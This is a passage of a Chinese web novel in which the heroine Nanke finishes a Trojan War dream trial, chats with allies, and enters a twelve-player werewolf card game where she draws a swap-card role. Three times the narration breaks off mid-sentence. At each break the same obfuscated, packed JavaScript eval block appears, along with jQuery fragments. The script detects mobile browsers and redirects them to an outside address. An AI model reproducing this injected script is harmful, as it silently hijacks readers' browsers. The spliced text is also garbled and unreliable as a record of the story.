许是冥冥中的某种感应,不知从哪个时刻开始,她便清楚地认定,陈立阳就是Chen,也是于尘,即使他腰间没有蝴蝶形胎记。 或许他从来没有隐瞒,身份早已藏在他的名字里—— “陈立阳”,倒过来就是“阳立陈”。 日立为昱。 “昱陈”,就是“于尘”。 南柯没有停顿,她也并不需要得到回答。 “谢谢你。” “还有就是……真的很高兴见到你。” 空气静止了一瞬。 在陈立阳可以回答之前,南柯已经拉着他一步步走向深海里,海水逐渐淹没两人的身体。 —— 尽管叶帆和秦萝拼命拖延,护卫队最终还是踩着南柯和陈立阳的足迹走到了海边。 不过,此时的海边空无一人,只余沙滩上一行简短的字:“毁掉木船,可通过梦境。” 叶帆看着消失在海边的脚印,再看看沙滩上的字,飞快向护卫队下达命令:“那艘木船就是王后打算逃离斯巴达的交通工具,毁掉木船,快!” 海面以下,南柯紧紧握着陈立阳的手,以防他不慎被海中的乱流卷走。两人的身体逐渐下沉,不会游泳的陈立阳马上就达到了可以坚持的最长闭气时间。 陈立阳面色痛苦地闭着眼睛,看上去极度脆弱。他卷曲的睫毛随着海水极轻的摆动着,像随风摇曳的风信子花瓣。 南柯拉过他,轻轻吻上他好看的唇。 —— 时间过了很久,久到南柯觉得自己也快溺死在静默的大海中。终于,一连串熟悉的系统提示音在她的脑中响起—— “尊敬的应试者,恭喜您通过附加任务‘与特洛伊王子帕里斯共同逃离斯巴达护卫队的封锁’。” “恭喜您成功通过【特洛伊战争】的最终试炼‘在生命线耗尽之前阻止特洛伊战争’,穿越梦境数量+1。” “根据您在本‘梦境’中的表现,您获得了SSS评级,【造梦空间】将为您派发相应的积分奖励。” “本次梦境的存活人数为4/12。根据系统的自动评定,您成为本梦境中的特殊奖励【幻梦冰晶】的获得者。本次,该枚徽章道具的效果是:为使用者创造一平方米的虚无空间。” 奖励派发结束后,系统的提示音再次响起: “梦境【特洛伊战争】将在十秒钟后关闭,请各位应试者做好准备。” “倒计时10……” “9……” 逐渐模糊的梦境场景中,南柯艰难地睁开眼睛。她再次看到了那个进入梦境时出现在头顶的巨大球形虚影。 恍惚中,那个空心球体逐渐被四面八方涌来的红色能量所填满,宛若一只正在逐渐睁开的—— 恶魔之眼。 38. 幸存者联盟 梦境结束,南柯睁开眼睛,入眼是房间雪白的天花板。她回到了之前花费积分购买的普通房间里。 南柯没有第一时间从床上起身。 唇上似乎还残留着她在海中为陈立阳渡气时的温软触感,那张漂亮的脸和鹿灵般的眼睛仿佛还在她眼前——这是她第一次亲吻一个男生,如果那算得上一个吻的话。 陈立阳身上有太多疑团,南柯不确定他现在是否愿意说,她也不愿意逼问别人心底的秘密。不过还好,她进入【造梦空间】寻人的目的已经达到。下一步,就要考虑怎么从这个鬼地方出去了。 她想起上一个梦境结束时出现的诡异球体,直觉那个球体让人很不舒服。但她暂时还理不清关于这个空间的完整头绪,只能通过参与更多的“梦境”搜集线索。 思及此,她直起身子,调出了个人面板,打开【道具库】。 此时,该版块的【徽章道具】栏果然多了一枚【幻梦冰晶】;【线索道具】中关于特洛伊战争的线索记录已经消失,表明该线索已被使用;而【通用道具】中的【催眠之弦】因为使用过一次,当前的剩余次数变成了2/3。 除此之外,原先多出来的【梦境限定道具】栏已经消失,表明该类道具只能在特定梦境中获得及使用。 随后,南柯点开【积分商城】的界面。新的梦境结束,积分记录果然又发生了变化。 此时,积分记录为: 初始积分|0 【细胞工厂】奖励积分|3000|备注:SSS级 花费|-500|备注:购买普通房间 【特洛伊战争】奖励积分|1000|备注:SSS级 当前总积分|3500 这次梦境的评级和上一个梦境相同,都是SSS级,但奖励的积分却大幅缩水,看来初筛梦境只是给刚进来的人的“福利”,后续积分减少,可购买的房间天数也会相应减少,应试者只能被迫频繁地进入梦境生死搏杀。 她的评级为SSS级尚且如此,更别提评分等级更低的应试者。 不过好在,梦境中的时间并不算在房间的计时内,南柯记得她进入梦境时房间还剩22小时的使用时间,现在仍然是22小时。所以,她没有急着购买更多的天数,或许这些积分后面会有别的用途。 正盘算着,【通讯录】的右上角便出现了一个红色的圆点。南柯点进那个版块,空白的界面上赫然是一条好友申请,申请人是“千帆过尽”。 南柯点击通过,系统很快显示两人成为好友。 之前通讯录没有好友的时候,这个界面最下方只有“添加好友”的选项,现在有了好友,下方立刻多了一个选项——“发起群聊”。 南柯:…… 还挺人性化的。 她还没来得及研究这个功能,就发现自己已经被拉入一个群聊之中,群聊名称是——幸存者联盟。 此时,里边算上她一共三个人,另外两个是“千帆过尽”和“青萝”,叶帆和秦萝。 没有陈立阳。 群聊因为她的加入而活跃起来—— 千帆过尽:!!!加上了! Nancy:…… 千帆过尽:我们两都加不上杨黎晨,他不会出什么事了吧? 青萝:你们最后发生什么事啦?我们只看到你们留下的信息,没看到你们两个人,没受伤吧? 南柯盯着那个名字看了两秒钟。杨黎晨是化名,陈立阳也是化名。说实话她现在有些不知道该怎么称呼他。 他没有主动联络她,也没有和梦境里的其他人建立联系。南柯想,或许他还没想好怎么用真实身份和她相处。但没关系,她还有十个梦境的时间可以等。 Nancy:没受伤,我们从迷宫出来后躲进海里了。 南柯简短地和他们两人讲了一下发生的事。 青萝不禁唏嘘:想不到林易居然杀心那么重,一开始还以为是很儒雅的大学教授。 南柯眸子一暗。教授吗? 教授可没有那么好的臂力和准头,可以徒手拉弓,精准地射向她。 南柯想起林易死之前用唇语说出的两个字——“南柯”。 明明她进入梦境后用的是“南一”这个化名,林易却知道她的真实名字。这让南柯不得不联想到【细胞工厂】中向她下杀手、最终死在苏一袖箭下的Lucy。那时候,南柯同样没有暴露自己的名字,Lucy却知道她来自蝶网。 或许,林易和Lucy一样,都来自黑罂粟。 南柯冷笑,好一个蝶网。前脚派她进来执行任务,后脚就把她的信息出卖给对家,不知道她的长相和名字能卖出多少钱。 叶帆没再评判【特洛伊战争】里发生的事。 千帆过尽:下个梦境大家有什么想法吗?我对神话和传说比较了解,下个梦境打算继续过【神话】分类。 青萝:求带!反正这里的每个梦境都很危险,【神话】分类至少还带着点儿浪漫色彩,要死不如死在神话里。 千帆过尽:……不要把死挂在嘴边! 青萝:好好好,呸呸呸~ 南柯回忆了一遍在【特洛伊战争】里的经历。虽然每个难题都有逻辑可循,但她并不喜欢那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776681|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对“神力”完全无可奈何的感觉。准确地说,她不喜欢自己的命运完全被他人掌控。 目前,她还有【社会】和【人文】两种分类没有尝试过。如果【造梦空间】真的藏着不为人知的秘密,她势必要把不同的分类都刷一遍。 Nancy:这次我想尝试一下【社会】分类下的梦境,我们下次有机会再一起。 千帆过尽:我浏览了一下那个版块的内容,大都围绕“社会现象”或者“人与人之间的关系”展开,可能是最贴近现实的一个分类。 青萝:有时候现实中的恶意可比超自然的鬼怪强多了,而且更加难以提防。 青萝:如果你要去,千万小心! 南柯当然知道秦萝说的话很有道理。不过,现实中的恶意她见过太多。对她来说,这个分类或许更加游刃有余。 但她仍然很感谢对方的好心提醒:好。你们也是。 退出群聊界面,南柯盯着最下方“添加好友”的选项看了几秒钟。 不过,她最终还是没有点进去,而是退出来直接点进了【梦境分区】的版块。 她在【社会】分类开始筛选。现在,她的【线索道具】已经用完,所有梦境的难度又回到了同一水平线。 不过,有个因素她不得不考量——就像她可以通过个人面板和叶帆、秦萝沟通,别人一样可以组队。她这次一个人进入梦境,如果可能,最好选择一个系统强行划分阵营的场景来打破应试者的原本组队,削弱她在这方面的劣势。 她在梦境界面认真浏览各个梦境的封面图。最终,她被一个名为【卡牌秘境】的梦境所吸引。 这个名字看起来颇有神秘色彩,但却出现在【社会】分类中,看起来有些突兀。梦境的封面上有一个黑色的圆桌,圆桌边围坐着十二个人,每个人手中有一张金色的卡牌。 未进入梦境前,能获取的信息只有梦境名称和封面图。直观来看,似乎是一个十二人参加的卡牌游戏。 卡牌游戏的话……每个人的卡牌应该是随机发放,那么阵营划分就由系统随机决定,正好符合南柯目前的需求。 此时,【卡牌秘境】的状态标注是“上轮已结束,待重新开启”,存活人数的标注是“6/12”,等待人数的标注是“11/12”。 看来,上一轮这个梦境的存活率是50%,不算低。 此时,该梦境只差一个人便可以开启。如果错过这一次,还不知道下一次要等多久。 南柯再次看了一眼没有任何动静的【通讯录】界面。 然后,她深吸一口气,加入了【卡牌秘境】的梦境。 39. 卡牌秘境(一) 许是因为这次南柯是加入梦境的最后一个人,她没经历太久的混沌期。很快,脑中便响起熟悉的系统提示音: “欢迎您再次进入梦境。” “梦境分类:社会。” “梦境名称:卡牌秘境。” “应试者数量:12。” “梦境穿越条件:游戏积分在所有应试者中排在前六名。” “注意事项:游戏积分获取规则将在梦境进行过程中公布。” “提醒:成功穿越梦境者,根据游戏总积分排名进行评级,并获得相应的【造梦空间】系统积分;穿越失败者,死。 “提醒:本梦境产出的【幻梦冰晶】将直接归属于游戏总积分的冠军。” “祝您好运。” 南柯飞快在心里评估了一下这次的规则。涉及到游戏积分,看来梦境内容确实和卡牌游戏相关。而且,这个梦境的通过人数固定,难怪上一轮应试者的通过率是50%。 然而,50%是生存率,也是死亡率。在其他梦境中,如果应对得当,达成100%的通关率也不是没有可能。而在这里,却是一开始就已经确定有六个人要死,竞争只会更加激烈。 提示音结束,南柯睁开眼睛,和上次一样的巨大球形虚影一闪而过。 她发现自己正身处一个面积很大的暗黑色系的房间里,四周挂着的壁灯散发出惨白的灯光,将这一方空间照亮。就着灯光,能看到房间是欧式半球形穹顶,上面绘制着一些她不认识的古老符号。 而此时,她正坐在一个圆桌边的座椅上。在她到来前,剩余的十一个席位已经被占据,每个人身前都有一个全息投影的号码牌。她对应的号码牌是11号,甫一落座,就感受到或探究、或防备、或惊喜的数道目光。 看来,这个梦境并不是所有人同时载入,而是根据加入梦境的顺序依次载入。她作为最后一个进来的人,能从剩余应试者身上获取的信息十分有限。 不过,即使是组队的人,为了避嫌,大概也不会选择同时进入。场上的局势尚不明朗。 房间里的每个人都穿着带兜帽的黑色长袍,应该是这个梦境赋予的统一装扮。此时,大部分人已经摘掉兜帽,露出帽子下的真容。 南柯的视线不动声色地在剩余十一个人身上扫视一圈。目光掠过其中两个人时,她不由多停顿了几秒钟——想不到,这里还能遇见“熟人”。 南柯没有第一时间向“熟人”致以问候。她慢条斯理地将自己的兜帽摘下来,淡漠的脸上浮出一丝笑:“久等了,诸位。” 场面安静了几秒钟。 一般的梦境,人到齐了就会开始。然而,南柯落座后,系统提示音却迟迟没有响起,像是刻意给应试者们留出social的时间。 终于,坐在南柯右手边的12号打破沉默。 12号是个年轻男人,脸上挂着和煦笑意,双手交叉随意撑在桌上,语调舒缓:“大家好呀。既然游戏还没开始,不如我们先认识一下彼此?”他指了指穹顶,“比如介绍一下对这个卡牌游戏的了解程度。” 南柯暂且把他称为“绅士”。 不过,他的破冰并没有引起热烈反响。坐在5号位置,留着一头酒红色大波浪的美艳女人勾唇冷笑,“不是你死就是我亡的局面,还要交朋友吗?” 坐在她身边的6号——一个戴着十字形耳钉、头发做成纹理烫的年轻男生也跟着附和:“都进入【卡牌秘境】了,谁还没玩过卡牌游戏?就没必要过多介绍了吧。” 这时候,南柯懒懒举手:“我没玩过。” 诚然她和在场的诸位年龄相仿,都可以统称为二十多岁,但她的职业确实没给她留出和好朋友们一起玩卡牌游戏的时间。况且,她也没什么好朋友。 6号被噎了一下,一时没吭声,倒是2号接上话来:“想扮猪吃老虎,小心真的变成猪。” 2号是个长相阴郁的男生,眉眼间似乎总含着散不开的阴阳怪气。南柯想,他大概和自己差不多,没什么朋友。 南柯不咸不淡道:“我说没玩过,不代表我不会玩。卡牌游戏,显然知道规则就能玩。是猪还是老虎,你自然有机会看到。” 这样回答,一来表明她确实没有“扮猪吃老虎”,二来表明即使她没玩过,但也不是任人拿捏的软柿子。在当前阶段,这就够了。 “同意。” 南柯的话得到声援,声音却并不来自她认识的那两个人。 她朝声音源头看过去,说话的是7号玩家。她一头短发,看着清爽干练,脸上没什么表情,看上去像职业素养很高的事业型女性。察觉到南柯的目光,她轻轻点了点下巴以示回应。 2号阴郁男冷哼一声,不接话了。 这时候,9号玩家终于找到说话的机会,兴致勃勃打算给南柯介绍一下这个卡牌游戏。却不料,还是被人抢了先。 “没关系,姐姐,这个游戏很简单的。”1号玩家的长发在一侧编成松散俏皮的麻花辫,辫子上还零星缀着几个可爱的小草莓发夹。她的耳坠也带着同系列的草莓元素,看上去是活力满满的元气少女。 她耐心给南柯解释:“卡牌游戏有很多种,我们今天这款游戏应该取材于【狼人杀】。12人局的狼人杀一般会有4个狼人,4个平民,4个神职。” 她指了指穹顶上那些南柯看不懂的古老符号,“上面那个类似于爪子的符号代表的应该就是狼人,那个类似于眼睛的符号,应该是神职里的预言家……” 她把自己认识的符号都解释了一遍,南柯对这个游戏有了大致的认知。果然,卡牌游戏,难的不是规则,而是如何在玩家的相互猜忌中找到明晰的主线。 真话与谎言交织,语言和心理双重博弈。也难怪,这个梦境可以归类为【社会】。 南柯诚恳地向1号道了谢,她对这个元气少女印象不错。 视线回收时,她貌似无意地掠过9号玩家。目光相接,对方的眼里迸发出难以掩饰的惊喜之情,仿佛他乡遇故知——可不正是【细胞工厂】中认识的白芒? 比起初遇,当下的白芒眼里少了几分颓然与丧气,即使在这个会死六个人的梦境中,他似乎也没那么胆怯,反而斗志昂扬。 不知道是想开了,还是认命了。 但终归态度积极是好事。 南柯眼里掠过隐晦的笑意,很快又不动声色地收回视线。现在可不是叙旧的好时候。 此时,除了白芒,场上还没说过话的人有四位。 3号是个面容清秀的女生,文文静静。8号是个戴黑框眼镜的男生,面色苍白,看起来有点宅。 10号是场上唯一一个还没摘掉兜帽的人。这个梦境中的兜帽似乎有种奇异的魔力,戴上兜帽,即使面容没有被遮挡,面前也仿佛笼着一层黑雾,没人能看清他的脸,甚至无从判断他的性别。 而4号……南柯看到他时,心情颇为复杂。 真说起来,他的哥哥,或者说他的另一个人格曾经试图杀死她,而且差一点就成功了。袖箭穿心而过的滋味,南柯至今还记得。只是如今,她心里完全生不出恨意—— 苏二或许看到她了,或许没看到。他的双眼像一滩死水,眼底始终没有任何波澜,宛若行尸走肉。 南柯将所有人的表现在心里过了一遍,大致有了数。她想,这场12人间的短暂social大概就到这里了。没说话的几个人,应该也不会再开口。 显然,系统也做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804365|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了同样的判断。 不多时,系统提示音打破沉默:“欢迎各位应试者来到【卡牌秘境】!从此刻起,各位都将成为本游戏的玩家之一!” 此时的提示音不似以往机械化,反而语气热情,感情充沛——似乎只有遇到他觉得有趣的环节,他才会表现出这幅跃跃欲试的死样子。 看来这是个“观赏性强”、非玩家友好型的游戏。 系统继续宣读规则:“相信有的玩家已经看出我们将要进行的游戏类型,没错,正是年轻人都爱玩的语言竞技类卡牌游戏——狼人杀!” “在本梦境中,我们将进行三局精彩纷呈的狼人杀游戏,三局之后,统一计算游戏积分,积分排名在前六位的玩家视为通过此梦境!” “每一局游戏,身份卡牌随机分配。其中,有四人属于狼人阵营,八人属于好人阵营。而好人阵营中,又有四人为普通平民,另外四人为神职。三局游戏中的神职类型并不完全相同,我会在开局前宣读本局的具体神职。” “每日入夜,狼人阵营可商议策略,并击杀一名玩家。每天白天,十二位玩家依次发言,之后共同投票放逐一位玩家,票数多者被放逐。若有平票,则平票者再次发言,剩余者再次进行投票。若再次平票,则视为平安日,无人被放逐。” “狼人阵营的胜利条件是,杀光所有的普通平民,或者杀光所有的神职。而好人阵营的胜利条件是,成功放逐或者用技能杀死所有狼人。” 这些规则和1号的介绍基本相同。 “接下来,我将宣布本游戏最重要的积分规则,请各位玩家认真听取!” “胜利阵营的人,积3分,失败阵营的人,积-3分。” 一局结束,不同阵营的玩家会直接拉开6分差距。听起来不多,但实际要追平却极为困难,所以每一局都至关重要。 “当然,作为一个公平的游戏,为了防止各位玩家作弊,我们的积分并不完全由游戏结果来决定,过程同样重要!” “在放逐环节,如果好人的放逐票投给另一个好人,则扣除1分;反之,如果好人的放逐票投给狼人,则积1分。” “同样是在放逐环节,如果狼人被成功放逐,那么被放逐的狼人扣除1分;如果好人被成功放逐,那么所有狼人阵营的人积1分。” “另外,如果神职牌利用技能导致另一个好人死亡,则扣除2分;反之,如果神职牌利用技能导致狼人死亡,则积2分。” “很公平,是不是?” 虽然不能说话,但南柯在心里做出回应:确实很公平。这样的积分规则,基本上彻底打破了玩家之间原有的组队,迫使所有人不得不各自为营,只为己方阵营打工。 她目光漫不经心地掠过剩余的十一个人。果然,听了规则介绍,很多人的神色都有了细微变化。 规则还在继续宣读:“当然,我们也大方地为败方阵营的玩家准备了积分的机会~每局游戏结束后,系统会根据诸位的表现,在两个阵营中分别选出表现最优的玩家,也就是每个游戏中都会设置的mvp。两位mvp均可积2.5分。所以,诸位都要好好表现,努力争取这份这慷慨的赠与!” 2.5分的权重并不低,仅次于胜利阵营的基础积分。mvp的争夺代表着不仅敌对阵营有竞争关系,己方阵营同样存在。 南柯:就知道这个系统幺蛾子不断。 三局游戏的通用规则大致宣读完毕,系统提示音暂时终止,留给玩家消化规则的时间。 规则很简单,在场的人都不傻,没人提出疑问。 于是,两分钟后,热情充沛的系统提示音再次响起:“那么接下来,就让我们以最饱满的热情开始第一局精彩的博弈!” 40. 卡牌秘境(二) 伴随着第一局游戏的开始,众人的神色都凝重起来。毕竟是生死之战,谁也不能完全做到轻松应对,南柯也不例外。 在紧张的氛围中,系统开始宣读第一局游戏的规则:“本局游戏,狼人阵营包括三名普通狼人和一名狼王。狼王的附加技能为,如果在夜间被狼人击杀(自刀),或者在白天被放逐,可以使用狼王爪带走场上的任意一名存活玩家。” “本局的四名神职分别是:预言家,女巫,猎人,摄梦人。” “预言家可以在夜间查验任意一名存活玩家的身份属于哪个阵营。” “女巫拥有一瓶毒药和一瓶解药。其中,解药可以救活夜间被狼人击杀的玩家,而毒药可以在夜间毒杀任意一名存活玩家。需要注意,女巫的毒药和解药不能在同一天使用。并且,女巫的解药不能自救。” “猎人的技能和狼王类似。如果在夜间被狼人击杀,或者在白天被放逐,则可以使用猎枪带走场上的任意一名存活玩家。” “摄梦人就比较有意思了~这是一张非常强大的功能牌,攻防兼备。每天夜晚,摄梦人可以选择一名玩家对其进行摄梦。被摄梦的玩家可以免疫夜间的任何伤害,包括狼人的击杀和女巫的毒药。” “然而,当摄梦人连续两天选择同一名玩家进行摄梦时,被摄梦者将会死于梦中。” “此外,如果摄梦人于夜间死亡,则被她摄梦的玩家会与她一同死亡。” “需要注意,这张底牌有着额外的积分规则——如果摄梦人成功保护另一个好人阵营的玩家免于夜间伤害,或者摄梦人的技能导致狼人阵营的玩家死亡,则积2分;反之,如果摄梦人的技能导致另一个好人阵营的玩家死亡,则扣除2分。” 说完,他顿了几秒钟,以便众人理解这张不太常见的功能卡牌。 在1号玩家的解说中,确实没有涉及到“摄梦人”。短短三句规则,却包含着太多种可能性—— 如果摄梦人的身份暴露,则在选择摄梦对象的时候应该以狼人为主,这样即使自己死于狼人的击杀,也可以带走一名狼人。 反之,如果摄梦人的身份并未暴露,则可以选择容易受到狼人击杀的好人作为摄梦对象,以保护为主。 而且,“连续两天对同一对象进行摄梦可导致该玩家死亡”的规则又对持有这张底牌的玩家提出更高的要求,需要该玩家对未来两天的情况做出一定预判,才能妥善选择夜间的操作对象。 南柯简单得出结论,这张底牌很难玩。不过她也不一定拿得到,暂时不用杞人忧天。 片刻,系统接着宣布:“需要注意,如果狼王或者猎人死于女巫的毒药或摄梦人的技能,则无法使用狼王爪或猎枪。” “除此之外,剩余的四名玩家为普通平民。” 按照1号玩家之前的解说,普通平民除了投票之外没有其他技能,因此,众人对接下来的解说没什么兴趣。 然而,系统却不按常理出牌。他很快补充了一条关于普通平民的特殊规则—— “大家一定在想,以当前的规则,普通平民的可玩性太差。作为一个致力于取悦所有玩家的游戏,我们特意在此基础上为普通平民增加了一个彩头!” 南柯直觉这个彩头并不简单。 果然,系统兴致勃勃道:“在四位普通平民中,包含着一张独得梦境眷顾的‘彩蛋平民’。” “本局游戏中,这张卡牌的技能是,在持有者存活的情况下,可以选择在任意夜晚与任意存活玩家交换底牌!” “‘彩蛋平民’的操作会先于其他所有夜间操作。若‘彩蛋平民’选择在第一晚进行底牌交换,则在他做出选择前,狼人阵营的四名狼人互不见面。” “技能只能生效一次,底牌更换后无法再变更,被更换底牌者无法得知‘彩蛋平民’的号码牌。” “需要注意,底牌交换一旦成立,交换双方的积分依照交换后的底牌进行计算。而交换前所产生的积分不发生变化。” 南柯一边听取系统的介绍,一边试图理清这张底牌的可能玩法。 如果“彩蛋平民”在第一晚就选择交换底牌,那对整局游戏几乎没什么影响,只会让“彩蛋平民”知道被他交换的对象变成了平民。 但如果“彩蛋平民”选择在非首夜的夜晚使用交换技能,那就有趣了—— 如果被交换的人同样属于好人阵营,倒是和首夜交换没什么差别;但如果被交换的人属于狼人阵营,就意味着在他切换为平民后,可以立刻知道原先三个狼队友的分布。只要他在白天将自己被交换的情况说明,就会将大部分狼人暴露在所有好人的视野之中——除非狼人在发生交换的当晚将被交换的平民直接击杀。 所以,这张底牌如果要玩“白切黑”的套路,最好在场上剩余人数非常少、局面已经非常明确的情况下再发动交换技能。 举个例子,如果场上只剩三名玩家——一名狼人,一名神职和一名“彩蛋平民”,那么“彩蛋平民”完全可以在入夜后直接和最后一名狼人交换底牌,然后击杀掉另一个神职,这样就可以确保自己百分之百获得胜利。 正想着,系统的声音再次响起:“在公布首夜的夜间死亡信息前,我们会首先进行警长竞选环节。” “具体形式为,玩家自行选择是否参与警长竞选,参与竞选的玩家依次发表竞选宣言。之后,未参与竞选的玩家在候选人中进行投票,得票数最高者当选警长。如果产生平票,则平票的玩家再次发表宣言,剩余所有玩家再次进行投票。若再次平票,则本局游戏无人当选警长。” “当选警长的玩家获得警徽,在每一轮投票中自动多出0.5票,总计1.5票。另外,警长有权在白天决定玩家的发言顺序,并在所有玩家发言后进行汇总发言。” “警长死亡时,可以选择将警徽继承给其余存活玩家,使其继任警长;也可以将警徽带走,不再产生新的警长。” 南柯在心里琢磨,0.5票看似不多,但在平票的时候就会发挥出决定性的作用。而且,汇总发言的位置无疑十分重要,利用得当甚至可以决定其他玩家的投票趋势。 在聆听了漫长的规则后,众人终于迎来系统的结束语:“以上就是本局游戏的全部规则,各位玩家有什么问题,现在可以提出。” 南柯心里确实有些疑问,不过她作为一个“新手”,显然不宜冒尖儿,自有其他玩家替她提出问题。 果然,率先发问的是之前没说过话的8号黑框眼镜宅男:“请问,如果在某个夜晚,最后一个狼人和最后一个神职或平民同时出局,那么算哪个阵营获胜?” 系统很快给出答复:“狼人阵营行动在前,狼人阵营获胜。” 1号草莓少女接着提问:“每天夜晚死亡的玩家,在白天是否可以发表遗言?” “首夜死亡的玩家可以在次日白天发表遗言,其他夜晚死亡的玩家则没有遗言环节。除此之外,每天白天被放逐的玩家都可以发表遗言。” 12号绅士:“根据规则,在放逐环节出现平票的情况,其余玩家需要再次进行投票。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809227|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,积分规则是按照第一次投票计算,还是按照第二次投票计算?” “以第二次投票为准。” 7号干练女人:“如果‘彩蛋平民’和摄梦人交换底牌,且摄梦人前一晚对1号玩家进行摄梦,交换后的‘彩蛋平民’在当晚再次对1号玩家进行摄梦,是否满足摄梦人两天作用于同一个玩家可致死的条件?” “满足,1号玩家会死亡。” 无疑这几个问题都很重要。四位玩家提问后,场面陷入短暂沉默,似乎该问的问题都已经问完。 不过,由于南柯对“彩蛋平民”格外关注,她知道关于这张牌还有个至关重要的问题。 看来,只能自己提问了。 岂料,她的问题已经滚到嘴边,一直沉默的4号苏二却在此时抢先开口。 “请问,系统是否会在每天白天公布‘彩蛋平民’的技能是否已被使用?” 这正是南柯想问的问题! 她不动声色地看向苏二。不愧是在【细胞工厂】中一路解密到终点的人,一下子就抓住重点—— 如果所有人全程都不知道“彩蛋平民”的技能是否已被使用,那么其他十一人的首要目标势必是找到这张底牌的持有者。 作为狼人,肯定要防止在胜利的关键时刻被“彩蛋平民”窃取成果,那岂不是“越努力越不幸”?而作为好人,又要防备“彩蛋平民”身在曹营心在汉。所以,这张底牌在初期会成为与其他两大阵营同时对立的第三阵营。 但如果系统即时公布“彩蛋平民”已使用交换技能,所有人便都可以在此之后心无旁骛地为自己的阵营工作,不用再风声鹤唳,甚至可以从技能的使用时机来推断“彩蛋平民”持有者的身份以及当下的局势。 看似简单的问题却对游戏的推进至关重要。 很快,系统给出答案:“每天白天,系统会在公布前夜死亡情况的同时公布‘彩蛋平民’技能的使用与否。在技能使用后,次日白天将不再重复提醒。” 听到这个答案,不少人都松一口气。还好,在这个点上,系统还算比较“亲民”。 与此同时,几道目光同时打在苏二身上。他此前的低调表现功亏一篑,这个关键问题的提出使他不可避免地被一些玩家列入重点关注名单里。 南柯有种说不出的直觉——她感觉苏二似乎在故意替她吸引其他玩家的视线。但苏二从始至终都没有和她目光相接,她无法精准看穿他的用意,只能走一步看一步。 虽说不是每个人都能拿到“彩蛋平民”,但每个人都有拿到这张底牌的概率。在这条规则公布后,所有人都在思考这张底牌的玩法,南柯也不例外。她想,如果她拿到这张牌,这局游戏的整体难度或许会小很多…… 苏二提问之后的很长一段时间,再没有人提出问题,现场气氛却越发紧张。 终于,在沉默将紧张的氛围推至巅峰的时候,系统提示音响了起来:“既然所有玩家都不再有疑问,那么接下来,请各位玩家查看自己本局游戏抽取到的卡牌!” 南柯只觉得视线瞬间被猝不及防涌来的浓重黑雾所隔绝。 不多时,黑雾中缓慢浮现出一张长方形的金色卡牌—— 卡牌上,画着一个流光溢彩的彩色鸡蛋。鸡蛋下边,是楷书写成的四个字:彩蛋平民。 南柯盯着那枚鸡蛋看了几秒钟。 她想到穹顶上那些古老的符号,又看着眼前这枚朴素的鸡蛋,展开合理联想——这个“彩蛋平民”,该不会是系统即兴发挥加进去的吧? 41. 卡牌秘境(三) 金色卡牌大概停留了十秒钟的时间才逐渐消失,同时消散的还有眼前的黑色雾气。 十秒钟的时间不短,足够十二位玩家收敛神色,避免下意识的反应暴露自己的底牌信息。 南柯的目光率先落在“他乡遇故知”的白芒身上。他微微低头,很好地掩去了眼中的情绪,但好歹共同穿越过一个梦境,南柯敏锐地察觉到他的坐姿略微僵硬,隐晦地透露出一丝紧张。 十有八九,他拿到的底牌不是平民。而且,他似乎对这张底牌颇为抗拒。 正思忖,身边12号(绅士)含笑的声音传来:“11号小姐,如果您有任何疑惑,我很乐意为您解答。” 这是光明正大地试探起底牌了。 南柯也笑:“确实很困惑,拿到了尊贵的预言家,在想今晚应该查验谁。” 话音落下,1号(草莓少女)、6号(十字耳钉男生)和9号白芒的目光同时扫过来。当然,除此之外,还有别的玩家对她说的话产生兴趣,只是没表现在明面上。 不过,即使她是新手,别人也不会觉得她能蠢到一上来就暴露自己的底牌。假作真时真亦假,南柯这么回答也只是想回12号一个软钉子,让他难辨虚实。 12号神色略微凝滞,但很快又笑开:“那倒不如查验我,相信我一定能协助你带领好人走向胜利。” 5号冷笑一声:“游戏还没开始呢,就开始抬高自己身份了,场上没人是傻子,这套伎俩还是收起来吧。” 12号被挤兑,也不生气:“是不是抬身份,游戏开局就知道了。” 过多暴露底牌信息并不明智,其他人都没有插话。南柯貌似不经意地将众人的表情尽收眼底,除了2号(阴暗男)的肢体语言格外松弛外,她暂时看不出其他信息。 很快,一阵富有神秘色彩的旋律响起,仿佛要把所有人拉入危险又古老的秘境。与此同时,系统热情充沛的提示音响起:“天黑请闭眼!” 众人再次被黑雾分隔开来——这局游戏的首夜,开始了。 “彩蛋平民”每晚最先行动。不多时,系统的声音在南柯耳边响起:“请问,你是否要在今晚使用该底牌的交换技能?” “是。”南柯的回答毫不迟疑。 这是她早就想好的玩法,在一开始就降低双方阵营难度,使自己脱离被围剿的困境,同时在首夜获悉被她交换之人已变成普通平民,拿下游戏的主动权。 这些优势,只有在“即时公布交换技能使用与否”的前提下可以实现,这也是她之前格外关注这一点的原因。 